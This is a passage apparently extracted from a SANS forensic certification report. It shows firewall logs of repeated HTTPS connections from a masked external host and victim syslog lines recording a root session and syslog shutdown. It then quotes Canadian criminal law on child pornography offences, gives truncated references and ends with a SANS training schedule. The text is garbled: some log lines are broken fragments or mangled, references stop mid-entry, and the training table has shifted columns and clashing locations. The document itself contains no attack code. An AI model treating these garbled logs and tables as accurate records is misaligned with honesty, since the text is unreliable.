Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 108 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35062 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 109 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35063 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 110 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35064 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 111 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35065 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 112 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35066 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 113 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35067 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 114 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35068 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Jun 29 15:19:09 192.168.1.1.id/firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=tcp src=XXX.XXX.108.64 srcport=35077 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
ER: 124 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:10 192.168.1.1.id/firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 msg="FILT ER: 129 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:10 192.168.1.1.id/firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 msg="FILT ER: 130 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:10 192.168.1.1.id/firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 msg="FILT ER: 131 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report Page 324

Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=4 flt_type=RAT flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35085 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=6 flt_type=RAT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35085 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=6 msg="FILT ER: 133 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=6 msg="FILT ER: 134 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=4 flt_type=RAT flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35086 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 flt_type=RAT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35086 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 135 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 136 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 flt_type=RAT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35087 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 137 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 138 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 flt_type=RAT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35088 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 139 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 140 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 flt_type=RAT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35089 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 141 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 142 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fw="GNAT-Box" pri=6 msg="FILT ER: 7 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fw="GNAT-Box" pri=6 msg="FILT ER: 8 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt

Logs showing syslog being shutdown on Linux 7.3 system

296)
Name Unallocated Clusters
Entry Modified Last Accessed Last Written Hash Value

Comment: Victim Logs from log Server - Syslog shutdown
Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(19602, ...) failed, errno 1
Jun 29 15:20:57 192.168.2.15 su(pam_unix)[19604]: session opened for user root by (uid=0)
Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Comment: Firewall logs from log Server - After Syslog shutdown

Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srctype=1061 dst=207.66.155.21 dstport=80 interface=sis2 flags=0x2
Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 msg="FILT ER; 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER; 141 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER; 140 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 141 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 140 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 139 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 138 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 137 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 136 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 135 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 134 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 133 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 132 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 131 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 130 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pri=6 msg="FILT ER; 129 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Appendix G


Definition of "child pornography"

163.1 (1) In this section, "child pornography" means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

Making child pornography

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

Distribution, etc. of child pornography

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

Possession of child pornography

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

Accessing child pornography

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

**Interpretation**

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

**Defence**

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

**Defences**

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

**Other provisions to apply**

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

**Warrant of seizure**

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

**Summons to occupier**

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

**Owner and maker may appear**

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

**Order of forfeiture**

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

References


   25, 2003)


    Laboratory & RSA Data Security, Inc. (Nov 12, 2003)

12. OpenSSL servers contain a buffer overflow during the SSL2 handshake process”,

13. Hunt, James “Boot Linux faster – Parallelize Linux system services to improve boot speed”, September 17,
## Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Platform</th>
</tr>
</thead>
<tbody>
<tr>
<td>Live Online: FOR500: Windows Forensic Analysis</td>
<td></td>
<td>Jul 06, 2020 - Jul 17, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS DFIR: Summer Breach 2020</td>
<td>United Arab Emirates</td>
<td>Jul 06, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 (In German) Online 2020</td>
<td>United Arab Emirates</td>
<td>Jul 13, 2020 - Jul 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>DFIR Summit &amp; Training 2020</td>
<td>Virtual - US Eastern,</td>
<td>Jul 16, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Summer Cases: SANS DFIR 2020</td>
<td>United Arab Emirates</td>
<td>Jul 20, 2020 - Jul 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer of Cyber</td>
<td>Jul 27</td>
<td>United Arab Emirates</td>
<td>Jul 27, 2020 - Aug 01, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 MT</td>
<td>CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>South by Southeast Asia Online 2020</td>
<td>Singapore</td>
<td>Aug 03, 2020 - Aug 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Special Investigations 2020</td>
<td>United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Reboot - NOVA 2020 - Live Online</td>
<td>Arlington, VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cyber Defence APAC Live Online 2020</td>
<td>Singapore</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Community SANS Columbia FOR572 @ UKI</td>
<td>Columbia, MD</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Summer Forensics Europe 2020</td>
<td>United Arab Emirates</td>
<td>Aug 17, 2020 - Aug 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam August 2020 Part 2</td>
<td>Amsterdam, Netherlands</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS FOR508 Canberra August 2020</td>
<td>Canberra, Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 17 ET</td>
<td>DC</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 24 MT</td>
<td>CA</td>
<td>Aug 24, 2020 - Aug 29, 2020</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020 - Live Online</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, Philippines</td>
<td>Sep 07, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Threat Hunting &amp; Incident Response Summit &amp; Training 2020</td>
<td>New Orleans, LA</td>
<td>Sep 10, 2020 - Sep 17, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>